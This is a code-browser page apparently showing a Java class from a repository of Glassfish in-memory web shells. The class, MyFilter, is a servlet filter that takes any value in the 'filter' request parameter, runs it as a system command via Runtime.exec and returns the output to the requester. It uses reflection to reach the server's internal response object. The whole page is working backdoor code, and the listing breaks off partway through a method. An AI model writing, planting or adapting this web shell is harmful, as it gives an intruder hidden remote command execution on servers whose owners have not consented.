MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyFilter

Class MyFilter

GlassfishMemShell/src/main/java/com/axisx/MyFilter.java:9–74  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

7import java.lang.reflect.Field;
8
9public class MyFilter implements Filter {
10 @Override
11 public void init(FilterConfig filterConfig) throws ServletException {
12 System.out.println("Filter 创建");
13 }
14
15 @Override
16 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
17 HttpServletRequest req = (HttpServletRequest) servletRequest;
18
19 try {
20 HttpServletResponse resp = this.getResponseFromRequest(req);
21 String cmd = req.getParameter("filter");
22 String result = this.CommandExec(cmd);
23 // resp.setContentType("text/html;charset=UTF-8");
24 PrintWriter out = resp.getWriter();
25 out.println(result);
26 out.flush();
27 filterChain.doFilter(servletRequest, servletResponse);
28 } catch (Exception e) {
29 e.printStackTrace();
30 }
31
32
33 }
34
35 public String CommandExec(String cmd) throws Exception {
36 Runtime rt = Runtime.getRuntime();
37 Process proc = rt.exec(cmd);
38 InputStream stderr = proc.getInputStream();
39 InputStreamReader isr = new InputStreamReader(stderr);
40 BufferedReader br = new BufferedReader(isr);
41 String line = null;
42 StringBuffer sb = new StringBuffer();
43 while ((line = br.readLine()) != null) {
44 sb.append(line + "\n");
45 }
46 return sb.toString();
47 }
48
49 public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
50 HttpServletResponse var2 = null;
51
52 try {
53 Field var3 = var1.getClass().getSuperclass().getDeclaredField("response");
54 var3.setAccessible(true);
55 var2 = (HttpServletResponse)var3.get(var1);
56 } catch (Exception var8) {
57 try {
58 Field var4 = var1.getClass().getDeclaredField("request");
59 var4.setAccessible(true);
60 Object var5 = var4.get(var1);
61 Field var6 = var5.getClass().getSuperclass().getDeclaredField("response");
62 var6.setAccessible(true);
63 var2 = (HttpServletResponse)var6.get(var5);
64 } catch (Exception var7) {
65 }
66 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected